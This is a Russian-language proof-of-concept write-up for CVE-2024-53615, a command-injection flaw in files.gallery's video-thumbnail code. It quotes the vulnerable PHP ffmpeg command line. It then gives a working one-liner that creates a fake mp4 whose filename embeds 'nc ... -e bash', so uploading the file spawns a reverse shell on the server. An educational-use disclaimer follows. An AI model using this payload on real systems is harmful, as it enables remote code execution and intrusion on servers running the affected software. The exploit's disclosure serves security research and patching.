
CVE-2024-53615
Уязвимость внедрения команд в компоненте рендеринга видеоминиатюр files.gallery Карла Уорда версий v0.3.0–0.11.0 позволяет удалённым злоумышленникам выполнить произвольный код с помощью специально подготовленного видеофайла.
Требования:
ffmpeg в PATHconfig.php: 'allow_upload' => trueexec должна быть включена в конфигурации PHPУязвимость находится в следующей строке (взято из версии 0.9.12), которая генерирует превью видео:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
Поскольку $this->path контролируется пользователем, мы можем создать вредоносный файл, название которого представляет собой подстановку bash-команды. Важно, чтобы этот файл содержал, например, магические байты mp4, а имя файла заканчивалось на .mp4:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
Если загрузить этот файл и обновить страницу, чтобы приложение его загрузило, мы получим шелл на локальной машине.
Примечание: команда хранится в имени файла, поэтому возможности обратной оболочки ограничены из-за ограничений длины имени.
Данный репозиторий предназначен исключительно для образовательных и исследовательских целей.
Предупреждение о неправомерном использовании: Использование этого инструмента для несанкционированных или вредоносных действий строго запрещено и может нарушать местные, государственные или международные законы. Автор не несёт ответственности за любое неправомерное использование этого кода.
Всегда получайте надлежащее разрешение перед развёртыванием этого инструмента в любой среде. Используя этот проект, вы соглашаетесь использовать его ответственно и этично.